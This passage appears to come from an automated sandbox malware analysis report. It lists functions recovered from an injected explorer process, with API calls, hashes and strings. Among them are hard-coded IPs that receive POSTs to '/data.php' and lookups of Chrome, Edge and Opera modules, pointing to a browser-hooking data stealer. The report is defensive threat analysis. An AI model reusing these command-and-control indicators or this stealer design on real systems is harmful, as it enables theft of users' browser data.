Opcode ID: bfcff2f29c1c025c74f1b8ba777dda643b737d4915761e4d2266d5e0a1367d3f
Instruction ID: a43dd0cacb910073976f3fe294b5be97e7d2bca5552274cf3136a1b85e4cea94
Opcode Fuzzy Hash: bfcff2f29c1c025c74f1b8ba777dda643b737d4915761e4d2266d5e0a1367d3f
Instruction Fuzzy Hash: 7321C33630478495EB60DF12B900B9BB668FB89FD4F8481299E8C4BB14DF3DC489CB40

Function 08B71125 Relevance: 6.7, APIs: 5, Instructions: 411COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 08B711AD

Part of subcall function 08B89001: _NMSG_WRITE.LIBCMT ref: 08B8903B
Part of subcall function 08B89001: _callnewh.LIBCMT ref: 08B8906F
Part of subcall function 08B89001: _errno.LIBCMT ref: 08B8907A
Part of subcall function 08B89001: _errno.LIBCMT ref: 08B89085

free.LIBCMT ref: 08B71544
free.LIBCMT ref: 08B7154C
free.LIBCMT ref: 08B71554
free.LIBCMT ref: 08B7155D

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: 83652f59c73d5ad205df74a2773ab1fd1abe1684c41674b52da39e9e7cc8448f
Instruction ID: 38c83c2a7b1940357e94b94c1f35c988c03ecff4817d52bd27fc6b09369ac6b6
Opcode Fuzzy Hash: 83652f59c73d5ad205df74a2773ab1fd1abe1684c41674b52da39e9e7cc8448f
Instruction Fuzzy Hash: BDD12F30718B488FDB68EF28D8596AA77E5FB99301F10062EE44BD3250DF78D546CB86

Function 10A66940 Relevance: 48.4, APIs: 32, Instructions: 363
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10A665D0: EnterCriticalSection.KERNEL32 ref: 10A665E4
Part of subcall function 10A665D0: LeaveCriticalSection.KERNEL32 ref: 10A6660D

wsprintfA.USER32 ref: 10A669D4
lstrlenA.KERNEL32 ref: 10A66A21
memcpy.MSVCRT ref: 10A66A3B
memcpy.MSVCRT ref: 10A66C53
free.MSVCRT ref: 10A66C5E
free.MSVCRT ref: 10A66C72
StrStrA.SHLWAPI ref: 10A66C82
StrStrA.SHLWAPI ref: 10A66CB1
StrToIntA.SHLWAPI ref: 10A66CE8
free.MSVCRT ref: 10A66CFD
malloc.MSVCRT ref: 10A66D22
memcpy.MSVCRT ref: 10A66D38
malloc.MSVCRT ref: 10A66D60
realloc.MSVCRT ref: 10A66D6E
malloc.MSVCRT ref: 10A66DAB
realloc.MSVCRT ref: 10A66DB9
memcpy.MSVCRT ref: 10A66DCE
lstrlenA.KERNEL32 ref: 10A66DF5
memcpy.MSVCRT ref: 10A66E08
malloc.MSVCRT ref: 10A66E43
memcpy.MSVCRT ref: 10A66E66
memcpy.MSVCRT ref: 10A66D8D

Part of subcall function 10A66770: malloc.MSVCRT ref: 10A66813
Part of subcall function 10A66770: memcpy.MSVCRT ref: 10A66839

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: memcpy$malloc$free$CriticalSectionlstrlenrealloc$EnterLeavewsprintf
String ID:
API String ID: 1602135189-0
Opcode ID: cef80cbd2d3059d3ad3f08624fd7d5f4c53d8e275ce99e34ca697f5ba41137a2
Instruction ID: d736ab1ddc59fad65cf71c26eb34418b4bf6e0db6441a66744138b20d1a1cd72
Opcode Fuzzy Hash: cef80cbd2d3059d3ad3f08624fd7d5f4c53d8e275ce99e34ca697f5ba41137a2
Instruction Fuzzy Hash: 0AE18B75301B418BDB20DF26E99439A77B1FB88BC8F805429DA8A47B50DFBDE485CB41

Function 10A56CB0 Relevance: 43.9, APIs: 18, Strings: 7, Instructions: 140networksleepfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 10A56D16
InternetConnectW.WININET ref: 10A56D4F
InternetCloseHandle.WININET ref: 10A56D60
Sleep.KERNEL32 ref: 10A56D6B
HttpOpenRequestW.WININET ref: 10A56DB4
HttpSendRequestA.WININET ref: 10A56DDA
InternetCloseHandle.WININET ref: 10A56DE7
InternetCloseHandle.WININET ref: 10A56DF0
InternetCloseHandle.WININET ref: 10A56DF9
InternetReadFile.WININET ref: 10A56E53
realloc.LIBCMT ref: 10A56E6D
InternetCloseHandle.WININET ref: 10A56EA4
InternetCloseHandle.WININET ref: 10A56EAD
InternetCloseHandle.WININET ref: 10A56EB6
free.LIBCMT ref: 10A56EC7
InternetCloseHandle.WININET ref: 10A56ECF
InternetCloseHandle.WININET ref: 10A56ED8
InternetCloseHandle.WININET ref: 10A56EE1

Strings

185.81.68.147, xrefs: 10A56CD7
/data.php, xrefs: 10A56D8E
Content-Type: application/x-www-form-urlencodedConnection: close, xrefs: 10A56DC2
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0, xrefs: 10A56D04
185.81.68.148, xrefs: 10A56CE8
POST, xrefs: 10A56D95
err, xrefs: 10A56DFF, 10A56EEE

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleepfreerealloc
String ID: /data.php$185.81.68.147$185.81.68.148$Content-Type: application/x-www-form-urlencodedConnection: close$Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0$POST$err
API String ID: 986109302-4063184111
Opcode ID: c58fb7624804fb10596e9dd163f851635feff074fea24a56f43716a3821bd52a
Instruction ID: 78ebecaea56556cbf2912234283fb433ac32b2ccf696db1d62beebd8bd7bf1dc
Opcode Fuzzy Hash: c58fb7624804fb10596e9dd163f851635feff074fea24a56f43716a3821bd52a
Instruction Fuzzy Hash: 6A516E36209B8486EB109F12F86479977B0FB89BD4F848529DECA43714EF7DC588CB52

Function 10A66760 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 193stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 10A6711B
strncmp.MSVCRT ref: 10A67182
strncmp.MSVCRT ref: 10A671A0
malloc.MSVCRT ref: 10A671CD
memcpy.MSVCRT ref: 10A671E6
StrStrA.SHLWAPI ref: 10A6721D
StrToIntA.SHLWAPI ref: 10A67243
free.MSVCRT ref: 10A67256
realloc.MSVCRT ref: 10A67273
memcpy.MSVCRT ref: 10A6728E
LeaveCriticalSection.KERNEL32 ref: 10A672C4
malloc.MSVCRT ref: 10A672F8
memcpy.MSVCRT ref: 10A6730B
lstrlenA.KERNEL32 ref: 10A6736E
free.MSVCRT ref: 10A67399
free.MSVCRT ref: 10A673A2
free.MSVCRT ref: 10A673D1
LeaveCriticalSection.KERNEL32 ref: 10A673DE

Strings

2, xrefs: 10A6714B

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: free$CriticalSectionmemcpy$Leavemallocstrncmp$Enterlstrlenrealloc
String ID: 2
API String ID: 4124047334-450215437
Opcode ID: 1ba1ad9c3a61801d810d9d34205d3a1d7654cb3be012afce87558a6955ea61f7
Instruction ID: 22f6d1616fd3edade91f5d54355d24ef0d1cabbc02a0d144316517ed4cd1351b
Opcode Fuzzy Hash: 1ba1ad9c3a61801d810d9d34205d3a1d7654cb3be012afce87558a6955ea61f7
Instruction Fuzzy Hash: F9719E74311B4185EB009B62ED943AE2BA1FF86FD9F800429DC8A47764EFBCD485C792

Function 10A6CCE0 Relevance: 18.1, APIs: 12, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32 ref: 10A6CCF1
free.LIBCMT ref: 10A6CD0E

Part of subcall function 10A6968C: HeapFree.KERNEL32 ref: 10A696A2
Part of subcall function 10A6968C: _errno.LIBCMT ref: 10A696AC
Part of subcall function 10A6968C: GetLastError.KERNEL32 ref: 10A696B4

free.LIBCMT ref: 10A6CD23
free.LIBCMT ref: 10A6CD44
free.LIBCMT ref: 10A6CD59
free.LIBCMT ref: 10A6CD6D
free.LIBCMT ref: 10A6CD79
free.LIBCMT ref: 10A6CD97
EncodePointer.KERNEL32 ref: 10A6CD9E
free.LIBCMT ref: 10A6CDB7
free.LIBCMT ref: 10A6CDD0
free.LIBCMT ref: 10A6CDFC

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: free$Pointer$DecodeEncodeErrorFreeHeapLast_errno
String ID:
API String ID: 4099253644-0
Opcode ID: ccc64328af1b0db835cb9ef547914a3ef69308864fd2cada8bec7e818de75906
Instruction ID: 273d8fa297e762408b192ea43677dbf64c23c8a2fd4b1adf7ae274e33d6747a0
Opcode Fuzzy Hash: ccc64328af1b0db835cb9ef547914a3ef69308864fd2cada8bec7e818de75906
Instruction Fuzzy Hash: 4831287AB11B49D1EF44DB11EA643F82374EF84BD8F990226999A472A4DFBCC4848353

Function 10A65D60 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 152COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 10A666E0: RtlInitializeCriticalSection.NTDLL ref: 10A66711
Part of subcall function 10A666E0: RtlInitializeCriticalSection.NTDLL ref: 10A6671E

GetModuleHandleA.KERNEL32 ref: 10A65DD9
GetModuleFileNameA.KERNEL32 ref: 10A65E2E
malloc.MSVCRT ref: 10A65E53
CloseHandle.KERNEL32 ref: 10A65EAE
free.MSVCRT ref: 10A65EB7

Strings

browser.dll, xrefs: 10A65DB4
.text, xrefs: 10A65EC7
opera-browser.dll, xrefs: 10A65DBD
msedge.dll, xrefs: 10A65DC6
chrome.dll, xrefs: 10A65DCF

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: CriticalHandleInitializeModuleSection$CloseFileNamefreemalloc
String ID: .text$browser.dll$chrome.dll$msedge.dll$opera-browser.dll
API String ID: 308684148-2401417439
Opcode ID: a1412ac3a69d47012cc114603df1c3ee24952c8f70254f48279a343966e18a6b
Instruction ID: af24361f5644e6a5cb328053a4219c0edf74c59f2abfbad05d5b8b77a3836ced
Opcode Fuzzy Hash: a1412ac3a69d47012cc114603df1c3ee24952c8f70254f48279a343966e18a6b
Instruction Fuzzy Hash: 4C51AD35304B8585EA60DF21A8403DA77B5FB89BC8FC58126DACA83754EF7DC649C781

Function 10A5F6A0 Relevance: 17.6, APIs: 14, Instructions: 137stringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 10A5F71B
lstrlenA.KERNEL32 ref: 10A5F724
lstrlenA.KERNEL32 ref: 10A5F730
lstrlenA.KERNEL32 ref: 10A5F73F

Part of subcall function 10A5FDF0: lstrlenA.KERNEL32 ref: 10A5FE1D

malloc.MSVCRT ref: 10A5F76D
memset.MSVCRT ref: 10A5F7C6
memcpy.MSVCRT ref: 10A5F7EE
memcpy.MSVCRT ref: 10A5F818
memcpy.MSVCRT ref: 10A5F834
memcpy.MSVCRT ref: 10A5F84D
memcpy.MSVCRT ref: 10A5F875
memcpy.MSVCRT ref: 10A5F8A4
free.MSVCRT ref: 10A5F8AD

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: memcpy$lstrlen$freemallocmemsetwsprintf
String ID:
API String ID: 1433255627-0
Opcode ID: f84ef37f85fefa271c4a5bf0e81f22dc5829450e6e191b8aeb80007b9961f4af
Instruction ID: 827090cc8f04793a6f70b716c2caa999ef1418e8568fe88e81796361e1313652
Opcode Fuzzy Hash: f84ef37f85fefa271c4a5bf0e81f22dc5829450e6e191b8aeb80007b9961f4af
Instruction Fuzzy Hash: AA517976305B808AEB24DF26E84479A73A1FB89BC8F405029DE9E43B19DF7CC549CB00

Function 10A5FAF0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 57stringthreadCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 10A5FB24
lstrlenA.KERNEL32 ref: 10A5FB3A
lstrlenA.KERNEL32 ref: 10A5FB45
lstrlenA.KERNEL32 ref: 10A5FB50
malloc.MSVCRT ref: 10A5FB5E
wsprintfA.USER32 ref: 10A5FB80
lstrcatA.KERNEL32 ref: 10A5FB8C
CreateThread.KERNEL32 ref: 10A5FBAB

Strings

report=%s,%s,%d, xrefs: 10A5FB6B

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$CreateThreadlstrcatmallocwsprintf
String ID: report=%s,%s,%d
API String ID: 2370468470-3900697051
Opcode ID: 4daf44155ab601f4b9997d0713db5028e76eb2f8d0cf9955896def2cec9de97e
Instruction ID: 7f2e9f32ef02341808ec08e93304bb18e307bede6fd48fb61196edd420706480
Opcode Fuzzy Hash: 4daf44155ab601f4b9997d0713db5028e76eb2f8d0cf9955896def2cec9de97e
Instruction Fuzzy Hash: 4F116D36345B408AEB44CF62B9107AAB365FB88FC8F844025EE8A47B15DF7CC1858700

Function 10A59540 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 123stringCOMMON

Download Yara Rule

APIs

isprint.LIBCMT ref: 10A595D3
isprint.LIBCMT ref: 10A59633
strstr.LIBCMT ref: 10A596B6

Strings

DELETE, xrefs: 10A5968F
PATCH, xrefs: 10A5969B
GET, xrefs: 10A59664
PUT, xrefs: 10A59683
POST, xrefs: 10A59677

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: isprint$strstr
String ID: DELETE$GET$PATCH$POST$PUT
API String ID: 1066184663-1590512397
Opcode ID: 968d7a5d7c9dd6cd96a222c04ff57d8612769696b1737a9e40d992a460ab355c
Instruction ID: 7d04de67e443bb46531ae28f58116b980ecb06fe2da9079f5a612cb756661185
Opcode Fuzzy Hash: 968d7a5d7c9dd6cd96a222c04ff57d8612769696b1737a9e40d992a460ab355c
Instruction Fuzzy Hash: 3341AF77208BC485CB21CF21F5903AAB7A5F786B94F855226DE9A07B54EB7CC09DCB00

Function 10A54390 Relevance: 13.6, APIs: 9, Instructions: 120stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 10A54550: isdigit.MSVCRT ref: 10A54577

tolower.MSVCRT ref: 10A54408

Part of subcall function 10A541F0: malloc.MSVCRT ref: 10A54200
Part of subcall function 10A541F0: free.MSVCRT ref: 10A54220

memcpy.MSVCRT ref: 10A54489
_errno.MSVCRT ref: 10A5448F
strtod.MSVCRT ref: 10A544AD
_errno.MSVCRT ref: 10A5450A

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: _errno$freeisdigitmallocmemcpystrtodtolower
String ID:
API String ID: 3554981057-0
Opcode ID: 7200a3fa8d53cadd7d061ffe909fc291e6ef79d9853763d1c0df63c8c8143f42
Instruction ID: 0b4a7235458a979d63b582d91ebd591e7297a650ce1cc64de9c7c3691268fab4
Opcode Fuzzy Hash: 7200a3fa8d53cadd7d061ffe909fc291e6ef79d9853763d1c0df63c8c8143f42
Instruction Fuzzy Hash: 0841EF72704B918BEB11CF21E844B5A7BA1F784BD8F428012EE8643B54EF7DC889CB40

Function 08B8C615 Relevance: 12.6, APIs: 10, Instructions: 108COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 08B8C643

Part of subcall function 08B88FC1: _errno.LIBCMT ref: 08B88FE1

free.LIBCMT ref: 08B8C658
free.LIBCMT ref: 08B8C679
free.LIBCMT ref: 08B8C68E
free.LIBCMT ref: 08B8C6A2
free.LIBCMT ref: 08B8C6AE
free.LIBCMT ref: 08B8C6CC
free.LIBCMT ref: 08B8C6EC
free.LIBCMT ref: 08B8C705
free.LIBCMT ref: 08B8C731

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: ccc64328af1b0db835cb9ef547914a3ef69308864fd2cada8bec7e818de75906
Instruction ID: 024919b981d315fd28f0fef3573203c7369c9ce3509030865ac2da062336c1d2
Opcode Fuzzy Hash: ccc64328af1b0db835cb9ef547914a3ef69308864fd2cada8bec7e818de75906
Instruction Fuzzy Hash: 6B314434294D09CFFBB8FB68D8B5B3936A2FB55317FA4446D9405C2250CB2CC496CB10

Function 10A704F7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

__DestructExceptionObject.LIBCMT ref: 10A70522
RaiseException.KERNEL32 ref: 10A7054B
__DestructExceptionObject.LIBCMT ref: 10A705AC
_getptd.LIBCMT ref: 10A704FF

Part of subcall function 10A6E44C: _getptd_noexit.LIBCMT ref: 10A6E452
Part of subcall function 10A6E44C: _amsg_exit.LIBCMT ref: 10A6E462

_getptd.LIBCMT ref: 10A705B1
_getptd.LIBCMT ref: 10A705BD

Strings

csm, xrefs: 10A7057F

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Exception_getptd$DestructObject$Raise_amsg_exit_getptd_noexit
String ID: csm
API String ID: 1037122555-1018135373
Opcode ID: c69aeeb6cf3e5ee57093526bf81b4e958145f93547239d54de9947959953e68f
Instruction ID: 02cd0fa1a42437928f7ca716e9efb4ae53b3b11a7c603d4729579030b98dbc21
Opcode Fuzzy Hash: c69aeeb6cf3e5ee57093526bf81b4e958145f93547239d54de9947959953e68f
Instruction Fuzzy Hash: 4221273A200685C6D720CF16E14075EB7B1F388BA5F45C216EF9A07B94CB3AE886CB41

Function 10A69508 Relevance: 12.1, APIs: 8, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 10A69525
_errno.LIBCMT ref: 10A6951A

Part of subcall function 10A6B370: _getptd_noexit.LIBCMT ref: 10A6B374

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 10A6956D
_errno.LIBCMT ref: 10A6957C
_invalid_parameter_noinfo.LIBCMT ref: 10A69587

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 6682dec599855a07d7b19abdf7595b9cfce2771a6f84975eebf7efc1a048f2fe
Instruction ID: dd6613ee778b75beae0846fe9de55d1b521af58b430da2eebaf69d79f62899ba
Opcode Fuzzy Hash: 6682dec599855a07d7b19abdf7595b9cfce2771a6f84975eebf7efc1a048f2fe
Instruction Fuzzy Hash: EE210BB6B043C182DF124B2596953AD6674F744BE4F504221FAAF0BB98DF6CC98A8F00

Function 10A5F540 Relevance: 11.3, APIs: 9, Instructions: 92stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10A5FDF0: lstrlenA.KERNEL32 ref: 10A5FE1D

lstrlenA.KERNEL32 ref: 10A5F59C
lstrlenA.KERNEL32 ref: 10A5F5AE
malloc.MSVCRT ref: 10A5F5BF

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$malloc
String ID:
API String ID: 3301496367-0
Opcode ID: 895c661018766f9c6bf3a8fe5b84f87bff48881f1b401f7c36eec5f9bcbf1c2f
Instruction ID: 0d847678c782067c951717537f4157d11184801b89952c1f36b3d8f2e96a91aa
Opcode Fuzzy Hash: 895c661018766f9c6bf3a8fe5b84f87bff48881f1b401f7c36eec5f9bcbf1c2f
Instruction Fuzzy Hash: 3B316D76754B818ADA00CF66E44479AB7A4FB88BC8F955015EF9E53B15DF7CC089CB00

Function 08B97315 Relevance: 10.7, APIs: 7, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 08B97340
_errno.LIBCMT ref: 08B97335

Part of subcall function 08B8ACA5: _getptd_noexit.LIBCMT ref: 08B8ACA9

_errno.LIBCMT ref: 08B973E3
_invalid_parameter_noinfo.LIBCMT ref: 08B973EE

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: 3765b36ba8728675df94310d9eefa78603bf9daee7d1326bb690a740d70128c2
Instruction ID: bdb9fec984d92f41d4735b60b9afefd3ded6f99155951a7d39a2f4c06d501110
Opcode Fuzzy Hash: 3765b36ba8728675df94310d9eefa78603bf9daee7d1326bb690a740d70128c2
Instruction Fuzzy Hash: 29412930538A5F8BDF28AF5994411B577D0FB54313B9842FEE8DAC7295EE24C442878A

Function 10A6F000 Relevance: 10.7, APIs: 7, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc_crt.LIBCMT ref: 10A6F029

Part of subcall function 10A6C0A8: malloc.LIBCMT ref: 10A6C0D3
Part of subcall function 10A6C0A8: Sleep.KERNEL32 ref: 10A6C0E6

free.LIBCMT ref: 10A6F12A
free.LIBCMT ref: 10A6F146

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: free$Sleep_malloc_crtmalloc
String ID:
API String ID: 2523592665-0
Opcode ID: 94d4f082543a1208780c770f6c88e3739461fd818f4a174d9e4bd3dcad077cdd
Instruction ID: b4bcd239a571db64ffb950726eb14a193795bb10d679eeae26e7f6f9aceec2f9
Opcode Fuzzy Hash: 94d4f082543a1208780c770f6c88e3739461fd818f4a174d9e4bd3dcad077cdd
Instruction Fuzzy Hash: E251B13A301B4193EB10DF26EA5075A73B8F788BD8F8542269F9D07B10EF38D5668744

Function 08B92F19 Relevance: 10.6, APIs: 7, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 08B92F3F
_errno.LIBCMT ref: 08B92F34

Part of subcall function 08B8ACA5: _getptd_noexit.LIBCMT ref: 08B8ACA9

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 08B92FBE
_errno.LIBCMT ref: 08B92FCF
_invalid_parameter_noinfo.LIBCMT ref: 08B92FDA

Memory Dump Source

Source File: 00000003.00000002.3342764004.0000000008B70000.00000040.00000001.00020000.00000000.sdmp, Offset: 08B70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_8b70000_explorer.jbxd

Similarity

API ID: Locale_errno_invalid_parameter_noinfo$UpdateUpdate::__getptd_noexit
String ID:
API String ID: 781512312-0
Opcode ID: 54bb80ef8a4511ca6d41a59b20e9a6df15b521eecef6917e1bdd9b11a28a770d
Instruction ID: 1bf437b5383d5b59c3922bcc8a647607bb2dea1b7c379ef7b4b64645bd7ca4fe
Opcode Fuzzy Hash: 54bb80ef8a4511ca6d41a59b20e9a6df15b521eecef6917e1bdd9b11a28a770d
Instruction Fuzzy Hash: A8413C74914A1ACFCF24BB1984547B5B3E0FB54327B9442FED4E6C72A8E674C486C741

Function 10A779E0 Relevance: 10.6, APIs: 7, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 10A77A0B
_errno.LIBCMT ref: 10A77A00

Part of subcall function 10A6B370: _getptd_noexit.LIBCMT ref: 10A6B374

_errno.LIBCMT ref: 10A77AAE
_invalid_parameter_noinfo.LIBCMT ref: 10A77AB9

Memory Dump Source

Source File: 00000003.00000002.3352603162.0000000010A50000.00000040.00000001.00020000.00000000.sdmp, Offset: 10A50000, based on PE: true

Associated: 00000003.00000002.3352603162.0000000010A98000.00000040.00000001.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.3352603162.0000000010A9B000.00000040.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_10a50000_explorer.jbxd

Yara matches

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd_noexit
String ID:
API String ID: 1573762532-0
Opcode ID: 3765b36ba8728675df94310d9eefa78603bf9daee7d1326bb690a740d70128c2
Instruction ID: 9a10f90bed2489351a01463b1de16bc2bf523d1528539e2a6a7aeb8294884eed
Opcode Fuzzy Hash: 3765b36ba8728675df94310d9eefa78603bf9daee7d1326bb690a740d70128c2
Instruction Fuzzy Hash: E74157B6B103D586EF549F2196402BE7BA0F780BD5F91C136EF9657A84D73ACA41C700

Function 10A735E4 Relevance: 10.6, APIs: 7, Instructions: 107COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 10A7360A
_errno.LIBCMT ref: 10A735FF

